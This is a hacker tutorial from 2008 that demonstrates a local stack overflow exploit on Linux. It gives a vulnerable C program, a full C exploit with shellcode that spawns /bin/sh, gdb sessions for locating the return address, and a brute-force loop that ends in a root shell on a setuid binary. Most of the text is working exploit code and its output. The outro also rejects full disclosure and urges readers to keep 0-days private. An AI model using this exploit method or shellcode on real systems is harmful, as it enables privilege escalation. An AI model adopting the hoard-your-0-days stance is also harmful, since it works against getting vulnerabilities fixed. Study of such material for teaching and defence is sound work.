-= Local Stack Overflow Exploit Demonstration in Linux =- -= By Ruben Ventura Pina (Trew) =- trew.revolution[at]gmail.com http://trew.icenetx.net 06/12/2008 =----------=[ 0x01 : Intro ]=-----------------------= ____________________________________ < Have you smashed a stack today? > ------------------------------------ \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || Here's a quick and simple demonstration showing how to expl0it a simple stack overflow vulnerability. The exploitation technique is quite easy, but very helpful to begin with shellcoding and stack smashing though. We'll be using the popular expl0it payload 'NOPs + shellcode + return_adress' method for jumping into our shellcode and gaining a shell prompt with UID=0 (r00t). The intention of this text IS NOT to explain what stack overflows are. I recently gave a workshop titled "Introduction to Exploitation", and due to technical problems I wasn't able to illustrate the procedure for writting and exploit. The only objective of this text is to demonstrate how to exploit a very simple stack overflow vulnerability. To understand this text you should already know what stack overflow vulnerabilites are. "Maybe you can't break the system, but you can always hack it." =--------=[ 0x02 : Vulnerable Program ]=-------------= This is a very common stack overflow vulnerability. trew@DarkLight ~ $ cat b0f.c #include #include void oops(char *vuln) { char buffer[1024]; strcpy(buffer, vuln); // Copy vuln to buffer (overflow) printf("\n%s\n\n", buffer); } int main(int argc, char *argv[]) { if (argc < 2){ printf(" Usage: %s data\n", argv[0]); return 0;} oops(argv[1]); // Call oops and pass first arg as argument return 0; } trew@DarkLight ~ $ gcc b0f.c -o b0f # Compiling the code... So that's the vulnerable program. The program receives one command-line argument and copies its content to "buffer", a 1024 bytes long buffer. This buffer is located in the stack. And strcpy doesn't check boundries so the overflow vulnerability lies within that function. Now let's run the vulnerable program with a debugger and try to overflow it with the aid of perl. DarkLight trew # exit exit trew@DarkLight ~ $ gdb -q b0f (gdb) run `perl -e 'print "A" x 1040'` Starting program: /home/trew/b0f `perl -e 'print "A" x 1040'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info registers eax 0x413 1043 ecx 0x0 0 edx 0x0 0 ebx 0xb7f07ff4 -1208975372 esp 0xbfdf59c0 0xbfdf59c0 ebp 0x41414141 0x41414141 esi 0xb7f43ca0 -1208730464 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x210282 [ SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) quit The program is running. Exit anyway? (y or n) y trew@DarkLight ~ $ With 1040 A's the program of course has been overflowed and the stack surely has been smashed (we got our dear Segmentation fault). Notice how EBP and EIP have been overwritten with 0x41414141 (0x41 is the hex value of A). Now that we know that 1040 bytes are enough to overwrite the return adress we can proceed to write our v00d00 expl0it. =----------=[ 0x03 : Writting the Expl0it ]=---------------------------------= Here's the expl0it's source code. It is nicely commented to explain the 1337 programming hacks to creat our payload. (I'm j/k about the 1337 skills) trew@DarkLight ~ $ cat bofex.c #include #include // This shellcode simply executes /bin/sh (returns a shell) char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50" "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; #define RETADDR 0x41424344 // return adress to hit NOP slide + shellcode #define SIZE 1040 // Buffer size #define VULN "/home/trew/b0f" // Path to our vulnerable program int main(int argc, char *argv[]) { char *ptr; // A char type pointer. int i; long *addr_ptr; // A long type pointer char buffer[SIZE]; // We create a buffer, this is where our // payload will be. ptr = buffer; // Let ptr point to the adress of 'buffer' addr_ptr = (long *) ptr; // addr_ptr points to the beginning of // buffer (our payload) // addr_ptr is 'long' because it will later hold the return // adress which is 4 BYTES LONG. (it could also be an unsigned // int) // We also need to cast ptr to a *long so gcc doesn't complain. for (i=0; i < SIZE; i+=4) *(addr_ptr++) = RETADDR; // Fill our payload buffer with the return adress // We'll be increasing addr_ptr memory adress by 4 // for each loop until the entire buffer is filled. for (i=0; i < SIZE /2; i++) buffer[i] = '\x90'; // Fill arround half of the buffer with NOPs ptr = buffer + ((SIZE/2) - (strlen(shellcode) /2)); // Let ptr point to end of NOPs slide for (i=0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // Write the shellcode after the NOP slide execl(VULN, VULN, buffer, 0); // smash the stack // We are actually running the vulnerable program, the shellcode is given // as the first argument. This should fill the vulnerable buffer with our // shellcode, and overwrite the return adress with our own. return 0; } trew@DarkLight ~ $ gcc bofex.c -o bofex bofex.c: In function 'main': bofex.c:36: warning: incompatible implicit declaration of built-in function 'execl' trew@DarkLight ~ $ Great. The exploit created a 1040 bytes long buffer. This will be our payload. First, the whole buffer is filled with the return adress defined at the top. For now the return adress is 0x41424344 because we yet don't know where we must return to hit the payload. Then the first half of the buffer is filled with NOPs (no-operation codes). This makes the exploitation process much more simple, by increasing our chance to hit the payload with our return adress. Now it is not necessary to hit the exact adress of the beginning of the shellcode; hitting 1 of the 520 NOPs will result in a sucessfull exploitation, its so much easier. And finally, we add the shellcode just after the NOPs slide. At the end of the program the payload would look like this: [NNNNNNNNNNNNNN...NNNNNN][SHELLCODE][RRRRRRRRR] ----------------------------------------------> 1040 BYTES N = NOP, R = RETURN ADRESS With execl we execute the vulnerable program, the payload is introduced as the first argument. =------------=[ 0x04 : Getting the Return Adress ]=--------------------------- Now that we have our exploit, we need to test it in the debugger to see if it truely overwrites the return adress; we'll also discover our wanted return adress in the process. rew@DarkLight ~ $ gdb -q bofex (no debugging symbols found) (gdb) run Starting program: /home/trew/bofex (no debugging symbols found) Executing new program: /home/trew/b0f 1À1Û°Í1ÀPh//shh/binãPSá° ÍDCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBA8uö¿ ö¿ Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) info registers eax 0x41c 1052 ecx 0x0 0 edx 0x0 0 ebx 0xb7fbdff4 -1208229900 esp 0xbff10ad0 0xbff10ad0 ebp 0x41424344 0x41424344 esi 0xb7ff9ca0 -1207984992 edi 0x0 0 eip 0x41424344 0x41424344 eflags 0x210286 [ PF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 The exploit did an excellent job at overflowing the return adress with 0x41424344 (ABCD). EBP and EIP have been overwritten with this value. Now let's examine the memory content 800 bytes after the stack pointer (ESP) to see the adress where the NOP slide got into. (gdb) x/100x $esp-800 0xbfbbd460: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd470: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd480: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd490: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd4a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd4b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd4c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd4d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd4e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd4f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd500: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd510: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd520: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd530: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd540: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd550: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd560: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfbbd570: 0xdb31c031 0x80cd17b0 0x6850c031 0x68732f2f 0xbfbbd580: 0x69622f68 0x50e3896e 0x99e18953 0x80cd0bb0 0xbfbbd590: 0x41424344 0x41424344 0x41424344 0x41424344 0xbfbbd5a0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbfbbd5b0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbfbbd5c0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbfbbd5d0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbfbbd5e0: 0x41424344 0x41424344 0x41424344 0x41424344 (gdb) q The program is running. Exit anyway? (y or n) y trew@DarkLight ~ $ grep RETADDR bofex.c #define RETADDR 0x41424344 // return adress to hit nop slide + shellcode *(addr_ptr++) = RETADDR; //put the return adress in our exploit buffer trew@DarkLight ~ $ vim bofex.c trew@DarkLight ~ $ grep RETADDR bofex.c #define RETADDR 0xbfbbd4e0 // return adress to hit NOP slide + shellcode *(addr_ptr++) = RETADDR; // Fill our payload with the retaddr trew@DarkLight ~ $ gcc bofex.c -o bofex bofex.c: In function 'main': bofex.c:36: warning: incompatible implicit declaration of built-in function 'execl' Notice how we changed the previous return adress with an adress which is right at the middle of the NOPs slide (0xbfbbd4e0). Recompile the exploit with this new adress. =------------=[ 0x05 : Expl0iting the application ]=-------------------------- trew@DarkLight ~ $ su Password: DarkLight trew # chown root b0f DarkLight trew # chmod +s b0f DarkLight trew # ls -l b0f -rwsr-sr-x 1 root trew 6957 Dec 6 05:45 b0f DarkLight trew # exit exit trew@DarkLight ~ $ Now the program belongs to root, and it has SUID (with SUID the program will run with UID=0 [that's r00t privileges]). This way we'll get a root shell if the exploitation is successful. Everything is ready. Let's expl0it! trew@DarkLight ~ $ ./bofex Usage: ./bofex trew@DarkLight ~ $ ./bofex 1À1Û°Í1ÀPh//shh/binãPSá° ÍàÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿?µñ¿BÒñ¿ Segmentation fault trew@DarkLight ~ $ Uhmm... We got a segmentation fault, but no root shell. Remember that the Linux Kernel implements a memory randomization system so guessing the needed return adress will be harder. No problem, let's make a loop to execute the exploit 1000 times in a row. We should get at least one successful result. If you don't r00t at the first try, do this a few more times. You should eventually get r00t... trew@DarkLight ~ $ for x in $(seq 1 500); do ./bofex; done 1À1Û°Í1ÀPh//shh/binãPSá° ÍàÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿([Ò¿BbÒ¿ Segmentation fault 1À1Û°Í1ÀPh//shh/binãPSá° ÍàÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿è¶¿B¿ Segmentation fault .................... .......................... ................. 1À1Û°Í1ÀPh//shh/binãPSá° ÍàÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ» ¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿àÔ»¿¸Ù»¿B⻿ sh-3.2# id uid=0(root) gid=1000(trew) groups=10(wheel),18(audio),19(cdrom),27(video),35(games),85(usb),250(portage),1000(trew),1003(plugdev) sh-3.2# whoami root sh-3.2# We g0t r00t. =-----------------=[ 0x06: 0utro ]=---------------------------------- I hope that by now you have a better idea of how a stack overflow exploitation is done. I didn't show how to create the shellcode, because shellcoding is not the purpose of this text. Nevertheless, with a little research you'll be able to start finding your own bugs and writting your own 0-day exploits. F*ck full disclosure. Programmers and sysadmins must be responsible for their own systems and applications. Creating exploits takes a lot of time & research, giving away your 0-days for free is not valuable. Keep them priv8! Questions, comments and concerns -----> trew.revolution@gmail.com